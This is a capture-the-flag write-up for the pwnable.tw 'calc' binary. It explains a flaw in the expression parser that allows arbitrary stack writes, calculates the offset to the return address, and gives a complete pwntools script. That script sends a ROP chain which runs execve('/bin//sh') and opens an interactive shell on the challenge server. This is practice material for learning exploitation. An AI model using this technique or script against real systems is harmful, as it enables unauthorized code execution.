0x1 Exploration
❯ checksec calc
[*] '/home/eclipse/pwnable.tw/4.calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
program execution flow:
main -> calc function -> parse_expr(expr, res_calc)
Find a program segment:
switch ( *(_BYTE *)(i + expr) )
{
case '%':
case '*':
case '/':
if ( operand_s[v6] != '+' && operand_s[v6] != '-' )
goto LABEL_14;
operand_s[++v6] = *(_BYTE *)(i + expr);
break;
case '+':
case '-':
LABEL_14:
eval(res_tmp_calc, operand_s[v6]); // Calc: +, -
// In these cases: +, - is also considered as single operator !!!
operand_s[v6] = *(_BYTE *)(i + expr);
break;
default:
eval(res_tmp_calc, operand_s[v6--]);// Calc: *, /, %
break;
}
Then, we can find:
When inputing: '+' + OFFSET + '+' + DATA+'\n', then mem(stack) is changed.
DATA: DWORD
OFFSET: DWORD (need to be calculated)
So, the thought is to cover return address of main function and make use of ROP to getshell.
What printf function prints out in calc is the calculated value where we can cover.
offset: calc_ebp + (eax) * 4 - 0x59c = main_ebp → eax
0x2 Find offset
main():
calc():
Then,
0xff8ccb88 + (eax) * 4 - 0x59c = 0xff8ccba8
offset = hex(int(( 0xff8ccba8 - 0xff8ccb88 + 0x59c ) / 4)) = 0x16f.
So, the return address is stored in offset (0x16f + 1 = 0x170).
0x3 Find gadgets and ROP chain
Referece:
http://www.phobosys.de/blog_january_20.html
https://medium.com/@sagidana/calc-pwnable-tw-ef5450f40253
Payload:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author: eclipse
from pwn import *
# ! Configuration
REMOTE = 1
binfile = './calc'
ip, port = 'chall.pwnable.tw', 10100
context(os='linux', arch='i386', log_level='debug')
# ! Initialization
def conn():
if REMOTE == 1: io = remote(ip, port)
else: io = process(binfile)
return io
def get_shellcode():
p = []
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec060) # @ .data
p.append(0x0805c34b) # pop eax ; ret
p.append(0x6e69622f) # 'bin'
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec064) # @ .data + 4
p.append(0x0805c34b) # pop eax ; ret
p.append(0x68732f2f) # '//sh'
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080550d0) # xor eax, eax ; ret
p.append(0x0809b30d) # mov dword ptr [edx], eax ; ret
p.append(0x080481d1) # pop ebx ; ret
p.append(0x080ec060) # @ .data
p.append(0x080701d1) # pop ecx ; pop ebx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080ec060) # padding without overwrite ebx
p.append(0x080701aa) # pop edx ; ret
p.append(0x080ec068) # @ .data + 8
p.append(0x080550d0) # xor eax, eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x0807cb7f) # inc eax ; ret
p.append(0x08049a21) # int 0x80
return p
def write_dword(offset, data):
return ("+" + str(0x170 + offset) + "+" + str(data) + "+\n")
# ! Exploitation
def pwn():
io, elf = conn(), ELF(binfile)
payload_list = get_shellcode()
for i, pl in enumerate(payload_list):
payload = write_dword(i, pl)
io.send(payload)
io.recvline()
io.sendline()
io.interactive()
if __name__ == "__main__":
pwn()